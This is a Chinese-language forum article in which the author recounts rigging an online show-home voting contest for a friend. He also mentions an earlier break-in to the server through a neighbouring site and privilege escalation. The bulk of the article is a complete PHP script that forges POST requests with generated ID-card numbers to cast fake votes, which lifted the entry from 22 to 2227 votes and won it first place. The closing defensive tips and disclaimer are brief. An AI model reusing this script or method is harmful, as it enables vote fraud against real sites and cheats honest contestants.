信息來源:邪惡八進制信息安全團隊(www.eviloctal.com)
文章作者:fhod
文章首發(fā)邪惡八進制轉載請注明原始來源
前幾日朋友找我?guī)兔?說是在一個網(wǎng)站參加樣板房投票競選.有沒有辦法幫他刷第一票.心腸好的我自然是答應了.然后朋友發(fā)來了網(wǎng)站..看了下是asp的..服務器安全做的還不錯..沒找到任何程序上的漏洞..通過旁注提權入侵進去后.發(fā)現(xiàn)管理員真的是很變態(tài)..本來打算修改數(shù)據(jù)庫的.剛看了下投票的代碼準備找出數(shù)據(jù)庫連接文件.就被管理踢了..接著這事就擱下了..過了幾天朋友又催..只好又看了下..才發(fā)現(xiàn)所有的漏洞都已經(jīng)補掉..
還是直接從投票上入手把.希望可以找到突破口直接達到刷票的目的.投票選項如圖1.
朋友的樣板房名為"風 華廊"所以圖1中我勾選上了"風·華廊"最多可選10項..其中姓名.聯(lián)系電話.身份證號碼都是虛構的.經(jīng)過反復投票測試.此投票系統(tǒng)只對身份證號碼進行了驗證..假設一下身份證號為1234567890.姓名為測試.聯(lián)系電話:13013011111 只需要把身份證號碼改為別的數(shù)字.如1234567891就可以再投上一票..并未對IP和cookies進行驗證.完全可以達到刷票的目的..
圖2是我抓的投票成功的數(shù)據(jù)包.
Aname=%B7%E7%26%238226%3B%BB%AA%C0%C8&username=%B2%E2%CA%D4&tel=13013011111&idcord=1234567890&Submit=%CC%E1%BD%BB
根據(jù)數(shù)據(jù)包構造出URL為
http://www.xxxx.com/ad/20061221/a.asp?action=add&Aname=%B7%E7%26%238226%3B%BB%AA% ... 13013011111&idcord=1234567890&Submit=%CC%E1%BD%BB
直接在IE里打開此頁面會出現(xiàn)如圖3的提示
但只要我們把其中的idcord=1234567890改為idcord=1234567891就會出現(xiàn)投票成功的對話框.知道了投票系統(tǒng)存在的缺陷后..現(xiàn)在就想辦法利用程序實現(xiàn)刷票的目的..
寫一個發(fā)包的程序把idcord設置為一個變量.然后每發(fā)送一次數(shù)據(jù)這個變量得數(shù)字就增加一個數(shù).比如idcord=1234567**9循環(huán)一次就是idcord=1234567*79自動改變其中的數(shù)值..
這樣的程序用VB.C.ASP,PHP都不難實現(xiàn)..下面就介紹下PHP的..以下所涉及到的PHP代碼為EST的兄弟TTFCT所寫.
程序完整代碼(目標網(wǎng)站做了相應處理)
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",2);
print_r('Voting....' );
for($i=0;$i<=9;$i++)
for($j=0;$j<=9;$j++)
for($k=0;$k<=9;$k++)
for($l=0;$l<=9;$l++)
{
$packet ="POST /ad/20061221/a.asp?action=add HTTP/1.1 \r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* \r\n";
$packet.="Referer: http://www.xxx.com/ad/20061221/a.asp \r\n";
$packet.="Accept-Language: zh-cn \r\n";
$packet.="Content-Type: application/x-www-form-urlencoded \r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)\r\n";
$packet.="Host: www.xxx.com \r\n";
$packet.="Content-Length: 113 \r\n";
$packet.="Connection: Keep-Alive \r\n";
$packet.="Cache-Control: no-cache \r\n";
$packet.="Cookie: ASPSESSIONIDASDCQDBT=NKKJPDLAMAMNHJHHNBBLOCCH\r\n\r\n";
$packet.="Aname=%B7%E7%26%238226%3B%BB%AA%C0%C8&username=%B2%E2%CA%D4&tel=13013011111&idcord=1234".$i.$j.$k.$l."90&Submit=%CC%E1%BD%BB\r\n";
if($fp=fsockopen("www.xxx.com",80,$errno,$errstr,50))
if(fwrite($fp,$packet,strlen($packet)))
print_r(
'
Success to vote
' );
sleep(2);
print_r(
'
Wait for 2 seconds'
);
}
?>
懂PHP的朋友一眼就能看出,這只是個發(fā)包的程序..其中ini_set("default_socket_timeout",2);為發(fā)送數(shù)據(jù)包的間隔時間為2秒.
for($i=0;$i<=9;$i++)
for($j=0;$j<=9;$j++)
for($k=0;$k<=9;$k++)
for($l=0;$l<=9;$l++)
是設置好的四個變量.在下面的數(shù)據(jù)包中..idcord=1234".$i.$j.$k.$l."90 自動生成idcord為一個不重復的數(shù)值
利用程序寫好了..下面就開始刷票..因為是PHP程序..所以要找個支持PHP的空間來運行..就算沒有空間只要安裝AppServ也一樣可以..AppServ可以在http://www.skycn.com/soft/13703.html免費下載到.安裝過程很簡單的..這里就不說了..
先來看下未刷票前.."風華廊"的票數(shù)是多少...
從圖4中可以看到是22票..接著我們執(zhí)行PHP代碼..
如圖5..
出現(xiàn)"Success to vote"就是投票成功了..
因為我設置的是2秒鐘投一票..一個小時也就是1800票.所以經(jīng)過一個多小時后"風華廊"的票數(shù)成了2227票.圖6
朋友的作品理所當然的就拿了第一..而我也因此獲得了一頓豐富的午餐.
其實這樣的投票程序只要加上cookies驗證..一個IP只能投一票..每次投票的間隔時間..等措施就很難作弊了.此文并不是要教大家如何去刷投票.只是想以投票的目的讓大家知道是如何刷票的..并在知道刷票的同時怎樣去防范它..